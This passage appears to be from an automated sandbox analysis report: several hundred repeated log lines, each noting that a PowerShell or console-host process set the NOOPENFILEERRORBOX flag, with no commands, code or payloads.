Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
